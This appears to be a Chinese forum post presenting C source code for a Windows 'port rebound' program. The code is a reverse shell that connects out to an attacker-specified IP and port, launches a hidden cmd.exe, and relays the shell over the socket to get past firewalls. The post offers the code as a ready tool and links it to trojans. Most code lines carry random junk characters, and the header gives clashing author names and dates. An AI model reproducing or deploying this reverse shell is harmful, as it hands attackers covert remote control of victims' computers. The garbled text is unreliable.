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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TgMa! Vz  
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/* ============================== zG-pqE6  
Rebound port in Windows NT fy9mS  
By wind,2006/7 011 N  
===============================*/ yvR3|  
#include `#@#e Z  
#include 7QV@lR<C2R  
)aSj!X'`;  
#pragma comment(lib,"wsock32.lib") do,ZCn  
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void OutputShell(); qLC_p)  
SOCKET sClient; &! i'Q;q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [bM$n m  
,w-=8>5lrj  
void main(int argc,char **argv) F{*{f =E!B  
{ "#}Uh  
WSADATA stWsaData; DBTeV-G9~R  
int nRet; OM,Dy&Y  
SOCKADDR_IN stSaiClient,stSaiServer; h0**[LDH  
[0c7fH`8V  
if(argc != 3) wHx@&Tp  
{ JTGA\K  
printf("Useage:\n\rRebound DestIP DestPort\n"); /B"FGa04p(  
return; g Va;!  
} MpY/G%3  
P"*#mH[W|  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1. A@5*Q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RJ}%pA4I  
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stSaiClient.sin_family = AF_INET; . -ihxEbzr  
stSaiClient.sin_port = htons(0); ;ctPe[5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *<HA])D,  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `U4e]Qh/+  
{ {7d(B1[1  
printf("Bind Socket Failed!\n"); 1fgO3N  
return; i ZU 1w7Z  
} C2e.RTxc  
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stSaiServer.sin_family = AF_INET; `L~gERW#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lZ,w#sqbY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7QSr C/e  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8O^<#lh  
{ g \.O5H9Od  
printf("Connect Error!"); hW<TP'Zm*  
return; w-{a>ZU0  
} %"[`   
OutputShell(); ,I|3.4z  
} bi{G :xt  
C"SG':  
void OutputShell() pu-X -j  
{ o?,c#g  
char szBuff[1024]; F TgqE@  
SECURITY_ATTRIBUTES stSecurityAttributes; cnw?3/J  
OSVERSIONINFO stOsversionInfo; H8!; XB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  " fXs!  
STARTUPINFO stStartupInfo; Pk ?M~{S  
char *szShell; 4H9mKR  
PROCESS_INFORMATION stProcessInformation; WRCf [5  
unsigned long lBytesRead; a~*wZJ  
^7Z#g0{^w  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2I[(UMI$7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =|+%^)E  
stSecurityAttributes.lpSecurityDescriptor = 0;  K P@bz  
stSecurityAttributes.bInheritHandle = TRUE; "J(T?|t  
hQb3 8W[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c)`=wDi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,7:? Du}  
F[q)ME+`)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N({0"7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BbIg]E/G  
stStartupInfo.wShowWindow = SW_HIDE; #i;y[dQ  
stStartupInfo.hStdInput = hReadPipe; MSqW {  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U{,:-R  
b?U2g?lN:  
GetVersionEx(&stOsversionInfo); [iXkv\  
61SbBJ6[  
switch(stOsversionInfo.dwPlatformId) 2#81oz&K  
{ ~J:qG9|]}  
case 1: j^5VmG  
szShell = "command.com"; byJR6f  
break; aG&t gD{  
default: OC6v%@xa  
szShell = "cmd.exe"; uqHI/4  
break; ;$Pjl8\  
} )+ (GE  
1j_ 6Sw(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MA,7 |s  
()MUyW"S#`  
send(sClient,szMsg,77,0); L3;cAb/  
while(1) /{R>o0oW  
{ S*l=FRFI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %#7 ]  
if(lBytesRead) $y_P14  
{ 2{|mL`$04<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C2;Hugm4  
send(sClient,szBuff,lBytesRead,0); Y3.^a5o  
} Uz_OUTFM  
else G,X>f?  
{ ^k2g60]  
lBytesRead=recv(sClient,szBuff,1024,0); *{!E`),FX  
if(lBytesRead<=0) break; Y52TC@'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5~FXy{ZIH  
} ZH)thd9^b  
} Ba}<X;B}  
K+<F, P  
return; !g[UFw  
}
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